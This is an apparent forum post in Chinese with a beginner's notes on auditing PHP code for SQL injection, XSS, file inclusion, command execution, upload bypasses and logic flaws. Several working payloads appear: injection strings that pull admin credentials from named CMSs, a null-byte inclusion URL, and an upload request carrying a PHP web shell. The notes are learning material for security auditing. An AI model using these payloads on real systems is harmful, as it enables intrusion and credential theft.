終身高級VIP會員
Dark Windy
  
- 資源幣
- 340
- 積分
- 373
- 貢獻
- 0
- 在線時間
- 74 小時
- 注冊時間
- 2015-8-14
- 最后登錄
- 2024-6-3

|
0x01 前言
這陣子在學php代碼審計,算是一個筆記。留著以后看。
php代碼審計需要比較強的代碼能力以及足夠的耐心.....
至于如何學好php代碼審計?去膜拜p神吧....
http://wooyun.org/whitehats/phith0n
http://www.leavesongs.com/
看著p神的文章,學審計...... 許多東西都是復制p神~
文章寫給像我一樣剛剛開始審計的小菜鳥~,有錯歡迎指出~
求勿噴...........繼續(xù)學審計中........
+++++++++++++++++++++++++++++++++++++++++++++
0x02 審計前奏
一)關注變量+函數
1.可以控制的變量【一切輸入都是有害的 】
2.變量到達有利用價值的函數[危險函數] 【一切進入函數的變量是有害的】
------來源t00ls
客戶端提交變量:
$_GET:http://localhost/mm.php?a=xxxxx
$_POST:
$_COOKIE:
記錄在我們本地瀏覽器中的變量,是可控的。PHP中還有一個變量$_SESSION。
每個人訪問網站,他的phpsessid都是不一樣的,這個值就用來區(qū)分每個用戶。服務器用PHPSESSID=cmebf7jkflu5a31vf67kbiopk4來標示每個用戶,是否登錄或者是否是管理員。
$_FILES:
可能產生的漏洞類型:
01.上傳漏洞,上傳一個php木馬,相當于直接getshell了
02.注入,有些cms會把name的值保存在數據庫里,但又沒有對name進行過濾。
$_SERVER:其中部分我們可以控制。
X-FORWARDED-FOR:IP地址,很多cms取ip是首先取這個變量中的值,如果
沒有這個變量,才去取我們的真實Ip.
Referer:來源地址,我們訪問目標頁面的來源
Host:目標網址這幾個變量就是我們php中間用戶可以控制的變量。
大部分的漏洞都是 從這幾個變量開始展開的。
$_REQUEST 就是$GET/$_POST/$COOKIE
要是使用了xxx框架的話,如何找到這些變量呢?
Mvc框架比較流行了
所以我去了解了一下thinkphp的mvc框架[http://blog.wils0n.cn/?id=14]
--------------------------------------------------------------------
二)關注什么樣的漏洞
1.Sql注入
2.文件操作[上傳/寫入/讀取/刪除]
3.文件包含
4.命令執(zhí)行
5.Xss
6.Cookie欺騙
7.邏輯出錯
........等等
每種漏洞有對應找漏洞的方法,往往先找getshell的方法[1,2,3,4這三中漏洞是常見的getshell方法我們要多多關注這個]而邏輯出錯也是很要命的。。。。 - -
所以我們要認識清楚漏洞原理,積累cms常出漏洞,積累找這種漏洞的技巧.....
--------------------------------------------------------------------
三)本地搭建環(huán)境測試
1.黑盒加白盒
不得不說黑盒的重要性!
Burp常開對你只要沒有壞處!
2.大體看看文件的目錄
3.cms安裝到本地,大概了解功能,比如有注冊會員功能的cms,我就注冊一個會員,比如有搜索框,我就會搜索一下,大概查看一下搜索出來的內容,[恩 因為字符型都進行了轉換 @ _@ 所以搜索型的很重要,有哪些數據提交點、能否留言等等] 摘自p神
技巧:最好可見在本地測試時候講你的輸入點打印出來
我會將用戶的輸入數據進行var_dump,重要的是對最終的sql語句進行var_dump,這和給你省去很多力氣!我們只要var_dump($sql)然后再可以去黑盒測試,[比如搜索框,用戶登入,文件上傳名稱等等]。
我審計了一個cms就是這樣的,結果黑盒就發(fā)現登入處有注入,真的去審計還花了不少力氣去讀源碼,并且學會了一個thinkphp的執(zhí)行sql特點.
+++++++++++++++++++++++++++++++++++++++++++++++++++++
四)審計各種不同漏洞技巧
1.Sql注入審計技巧
sql注入是我們審計比較重視的漏洞之一
0x01 漏洞原理
所以現在很多cms都對注入進行了一定的過濾,一般有兩種過濾方法:
01.對于數字型的輸入,直接使用intval($_GET[id]),強制轉換成整數,這種過濾是毫無辦法的。
$ann_id = !empty($_REQUEST['ann_id']) ? intval($_REQUEST['ann_id']) : '';
要是沒有intval($_GET[id]) 那就呵呵了。//有一個屌絲cms就是這樣......
ad_js.php?ad_id=1%20union%20select%201,2,3,4,5,6,(select%20concat(admin_name,0x23,email,0x23,pwd)%20from%20blue_admin)
02.有些輸入是字符型的,不可能轉換成數字。這個使用就使用addslashes對輸入進行轉義。
aaa’aa ==> aaa\’aa
aaa\aa ==> aaa\\aa
SELECT * FROM post WHERE id=’aaa\’ union select pwd from admin limit 0,1#
--------------------------------
0x02 漏洞發(fā)生
要是過濾不是上面這幾中,而是黑名單,或者你欠日什么都沒有過濾的話,那么很多情況下是可以注入的。所以cms隨著漏洞的爆出,慢慢的這樣的情況幾乎都沒有了
那么問題來了,在上面這種情況漏洞怎么出現?[藍翔.....]
漏洞(一)ip沒過濾直接進到sql語句
函數講解:
getenv : 這個函數是獲得環(huán)境變量的函數,也可以用來獲得$_SERVER數組的信息。
getenv('HTTP_X_FORWARDED_FOR') --> $_SERVER[HTTP_X_FORWARDED_FOR]
當然http頭還有referer 這也是可以偽裝的,要是沒有過濾好也會產生會注入問題
漏洞(二)寬字節(jié)注入 [對字符]
如果發(fā)現 cms是GBK 只有看看 能不能寬字節(jié)注入
Sqlmap 的unmagicquotes.py 可以進行寬字測試
下面摘自p神寫的:淺析白盒審計中的字符編碼及SQL注射.pdf
解決寬字節(jié)注入辦法:
mysql_query("SET character_set_connection=gbk,character_set_results=gbk,character_set_client=binary", $conn);
到這里就一般高枕無憂了.....
但是 要是畫蛇添足得使用iconv就可能出現問題了
有些cms:
會加上下面語句避免亂碼
iconv('utf-8', 'gbk', $_GET['word']);
將傳入的word有utf-8轉成gbk.....
發(fā)現錦的utf-8 編碼是0xe98ca6,而的gbk 編碼是0xe55c
我們輸入錦' -->%e5%5c%27【%5c就是\】
在經過轉移------>%e5%5c%5c%27【5c%5c就是\\】這樣我們就有可以開心的注入了....
漏洞(三)sql二次注入
例如:p神的HDWiki二次注入
漏洞(四)文件名注入
因為$_FILE,$_SERVER不受gpc影響,那么可能造成注入.......
有些cms會把name的值保存在數據庫里,但又沒有對name進行過濾。
例如:p神的emlog后臺注入(需要作者權限即可)
還有Thinksaas最新版注入無視GPC
http://wooyun.org/bugs/wooyun-2010-051124
--------------------------------
0x03 注入類型
1.Selcet 注入 這個常見就不說了
一般就是聯查,要是報錯開啟也可以報錯注入
2.Update 注入
p神做了一個教程關于bluecms這cms漏洞:
Get_ip() 直接用了X-FORWARDED-FOR
$sql = "UPDATE blue_user SET last_login_time = '$last_login_time', last_login_ip = '可控位置' WHERE user_id='$_SESSION[user_id]'";
UPDATE blue_user SET last_login_time = '1394368489', last_login_ip = '8.8.8.8',address=(select concat(admin_name,0x23,email,0x23,pwd) from blue_admin limit 0,1), qq=' ' WHERE user_id='2'
//addrress是前臺可見的,而且長度夠大
//p神說.....
碰到update語句中含有注入的情況,我們怎么處理?
01.跟我剛才一樣,把某個可以看到的信息給更新成管理員密碼,這樣就獲得了密碼
02.報錯注入,使用某一特定的報錯語句,讓sql語句在執(zhí)行中出錯,能爆出管理員賬號密碼。但是有個條件,就是在執(zhí)行sql語句的時候調用了mysql_error函數,否則不會顯示報錯信息。比如bluecms就沒有調用mysql_error,所以不能使用這個方法。
3.Insert 注入
引用了音符牛的一個文章
http://bbs.xdsec.org/?/question/310
音符的XD某套系統(tǒng)的代碼審計第二彈:insert注入
[C] 純文本查看 復制代碼
?
01
02
03
04
05
06
07
08
09
10
//字符串完全沒過濾,gpc為關閉
function guest_add()//添加留言
{
global $bqz,$lang;
$exec="insert into ".$bqz."guest (title,name,email,ip,content,times) values ('".$_POST."','".$_POST."','".$_POST."','".$_SERVER."','".$_POST."','".time()."')";
mysql_query($exec)||die(mysqli_error());
echo "<script>alert('".$lang."');window.location.;</script>";
}
$exec="insert into ".$bqz."guest (title,name,email,ip,content,times) values ('".$_POST."','".$_POST."','".$_POST."','".$_SERVER."','".$_POST."','".time()."')";
//沒有過濾就將數據放入guest表中,guest表的內容前臺可見。
payload:標題123','1','haha','1.1.1.1',(select concat(admin_name,0x23,admin_password) from xxx_admin limit 0,1),'1314205172')#
其他的隨便填。
則執(zhí)行:
insert into xdxx_guest (title,name,email,ip,content,times) values ('123','1','haha','1.1.1.1',(select concat(admin_name,0x23,admin_password) from xdxx_admin limit 0,1),'1314205172')#','time()')
因為前臺可以看到的只有name跟content,而name要用來閉合前面的單引號,所以用content字段來保存管理員的賬號密碼。
0x04技巧
技巧:最好可見在本地測試時候講你的輸入點打印出來
我會將用戶的輸入數據進行var_dump
重要的是對最終的sql語句進行var_dump,這和給你省去很多力氣!我們只要var_dump($sql)然后再可以去黑盒測試,[比如搜索框,用戶登入,文件上傳名稱等等]
so,還是這技巧點
=====================================================
2.xss審計技巧
Xss最常見就在留言板地方了!
1.先可以黑盒:
我們可以對fuzz,加載你的xss,payload都試試。[可以積累你的xsspayload]
然后去管理后臺看看。有沒有執(zhí)行xss成功
學習xss:
http://www.wooyun.org/bugs/wooyun-2010-015957
心傷的瘦子專輯.......
2.看代碼看看如何過濾了,再看看能不能繞過。
這就要靠你的本領了
但是現在可多就都過濾了
用了htmlspecialchars進行過濾, = =
一個tip:
不少cms會對留言者的ip進行記錄。
而他們用一個具有漏洞的函數,
[PHP] 純文本查看 復制代碼
?
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
/**
*
獲取客戶端
IP
地址
*/
public static function getip() {
$onlineip = '';
if (getenv('HTTP_CLIENT_IP') && strcasecmp(getenv('HTTP_CLIENT_IP'), 'unknown')) {
$onlineip = getenv('HTTP_CLIENT_IP');
} elseif (getenv('HTTP_X_FORWARDED_FOR') && strcasecmp(getenv('HTTP_X_FORWARDED_FOR'), 'unknown')) {
$onlineip = getenv('HTTP_X_FORWARDED_FOR');
} elseif (getenv('REMOTE_ADDR') && strcasecmp(getenv('REMOTE_ADDR'), 'unknown')) {
$onlineip = getenv('REMOTE_ADDR');
} elseif (isset($_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR'] && strcasecmp($_SERVER['REMOTE_ADDR'], 'unknown')) {
$onlineip = $_SERVER['REMOTE_ADDR'];
}
return $onlineip;
}
當HTTP_X_FORWARDED_FOR存在時獲取的IP就是它,但是HTTP_X_FORWARDED_FOR是可以偽造的
但是存ip的字段,有是比較小的。我們去看看p神如何繞過
http://wooyun.org/bugs/wooyun-2010-045687
我只能說,吊死了 = =
請收下我的膝蓋......
3.Xss利用
現在應該大多都是x管理員的cookie吧。
再次膜拜一下p神的審計能力,xss的作用可以getshell的
http://wooyun.org/bugs/wooyun-2010-063052
我們可以利用js來發(fā)送post包,利用管理員權限去得到getshell
$.ajax({ "url": "網址", "type": " OST","data":" OST的內容" })
我也是剛剛知道這個知識 搞定一個cms.......
=====================================================
3.文件包含漏洞審計技巧
文件包含漏洞
看音符大牛的文章
https://www.t00ls.net/thread-26571-1-3.html
1.截斷技巧
%00和230個/
2.遠程包含
allow_url_fopen = On并且allow_url_include = On時,則可以包含遠程文件
3.一個出問題的cms
Yxcms給音符牛日穿了
https://www.t00ls.net/viewthread ... amp;highlight=yxcms
payload:http://test.com/cms//YXcmsApp1.2.3/index.php?r=..\..\upload\member\image\20140504\thumb_1399213415.jpg%00
=====================================================
4.命令執(zhí)行審計技巧
沒有什么技巧
0x01 搜索可以執(zhí)行php代碼的函數
Eval,assert....
0x02 搜索可以執(zhí)行系統(tǒng)命令的函數
system,passthru,exec,pcntl_exec,shell_exec,popen,proc_open,``(<strong>反單引號</strong>)....
=====================================================
5.文件操作審計技巧
5.1 .兩個小知識,一個tip
1.
$_FILES["file"]["name"] - 被上傳文件的名稱
$_FILES["file"]["type"] - 被上傳文件的類型
$_FILES["file"]["size"] - 被上傳文件的大小,以字節(jié)計
$_FILES["file"]["tmp_name"] - 存儲在服務器的文件的臨時副本的名稱
$_FILES["file"]["error"] - 由文件上傳導致的錯誤代碼
2.
文件上傳的過程:
01.用戶選擇文件,點擊上傳
02.服務器接收到文件,然后將文件保存在臨時目錄內
03.php對文件類型、后綴等內容檢查,檢查通過后移動到web目錄下
tip:
將var_dump($FILE[]);
然后試試黑盒審計吧
注意一點 如果文件名進入數據庫也有可能造成注入的。
因為$_FILE不受gpc影響[之前也提過了]
--------------
5.2文件上傳漏洞 來自[+]上傳攻擊總結.pdf[這極好的文章]
1.javascript上傳檢測
....直接無視
用burp改一下就好了
2.mime上傳文件類型
例如:BlueCMS(地方分類信息門戶專用CMS系統(tǒng))
include/upload.class.php發(fā)現,只是檢測了文件頭,沒有檢測后綴.
[PHP] 純文本查看 復制代碼
?
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
class upload {
private $allow_image_type = array('image/jpg', 'image/gif', 'image/png', 'image/pjpeg');
......
function img_upload($file, $dir = '', $imgname = ''){
if(empty($dir)){
$dir = BLUE_ROOT.DATA.UPLOAD.date("Ym")."/";
}else{
$dir = BLUE_ROOT.DATA.UPLOAD.$dir."/";
}
if(!file_exists($dir)){
if(!mkdir($dir)){
showmsg('上傳過程中創(chuàng)建目錄失敗');
}
}
if(empty($imgname)){
$imgname = $this->create_tempname().$this->get_type($file['name']);
}
$imgname = $dir . $imgname;
if(!in_array($file['type'],$this->allow_image_type)){
//只是檢測了文件頭部來著,那我們就直接構造一個SHELL就好了
showmsg('不允許的圖片類型');
}
}
Payload:
然后我們可以將request 包的Content-Type 修改
POST /upload.php HTTP/1.1
TE: deflate,gzip;q=0.3
Connection: TE, close
Host: localhost
User-Agent: libwww-perl/5.803
Content-Type: multipart/form-data; boundary=xYzZY
Content-Length: 155
--xYzZY
Content-Disposition: form-data; name="userfile"; filename="shell.php"
Content-Type: image/gif (原為Content-Type: text/plain)//$_FILES["file"]["type"]
<?php system($_GET['command']);?>
--xYzZY--
3.服務器檢測繞過(目錄路徑檢測)
Filename 可以控制,直接進行%00截斷看看能不能搞定
4.文件名檢測
下面就是去檢測 _FILES["file"]["name"]
再次注意:如果文件名進入數據庫也有可能造成注入的。
1)黑名單上傳
各種測試 這里我們看代碼就可以了。
我們可以看看能不能
1.大小寫繞過
2.黑名單外的危險腳本[htaccess 文件攻擊]
3.解析漏洞結合
4.利用windows特性繞過
雨牛的文章: https://forum.90sec.org/forum.php?mod=viewthread&tid=7806
phpdisk使用了黑名單
可以用加空格來繞過
另外大牛又給出了
提交.php: data 這樣就不會匹配到黑名單中了。 這種想法,感覺自己有學習了....
2)白名單上傳
1. 0x00 截斷繞過
用像test.asp%00.jpg 的方式進行截斷,屬于白名單文件,再利用服務端代碼的檢測邏輯
漏洞進行攻擊,目前我只遇到過asp 的程序有這種漏洞
2. 解析調用/漏洞繞過
這類漏洞直接配合上傳一個代碼注入過的白名單文件即可,再利用解析調用/漏洞
5.文件上傳邏輯漏洞
http://www.leavesongs.com/PENETR ... cms-upload-vul.html
不得不又一次膜拜p神......
文件上傳,支持zip上傳,但是這個phpcms沒有對子目錄下的文件,進行驗證。導致getshell
而且有了一個競爭上傳的概念。。。。
文件是先在服務器存在了,然后再驗證文件名的可靠性。不合法就刪除。那就出現問題了,在存在時候,我們可以一整去訪問這個php,而這個php的功能就是寫馬。這樣就可以成功getshell了。。。。
5.4.文件下載
求補充
5.3 文件寫入。文件刪除
求補充
=====================================================
6.邏輯出錯審計技巧
很多程序有邏輯出錯的情況.....
1.程序沒有及時結束[die]
http://www.wooyun.org/bugs/wooyun-2010-063019
Ducms就是/install/install.php
沒有及時結束
給p神 利用一個外鏈的mysql 繞過限制 加入一個admin賬戶。。。
http://wooyun.org/bugs/wooyun-2010-045143
還有一個直接寫入配置文件的StartBBS重安裝getshell也是因為這個原因
除了安裝可能出現這種情況
Admin目錄下也可能這樣
判定不是admin就跳轉,但是php代碼是繼續(xù)執(zhí)行沒有及時結束的
2.admin登入口檢查有問題
認證太奇葩...
3.找回密碼可能出現漏洞
4.驗證碼重用,造成爆破
..........
漏洞類型還要很多.....
=====================================================
0x03 小結
文章寫給像我一樣剛剛開始審計的小菜鳥~
web漏洞類型很多,我也說不盡。只是知道一些審計的皮毛,有錯求指出....
求勿噴...........
小菜繼續(xù)學審計中........
|
|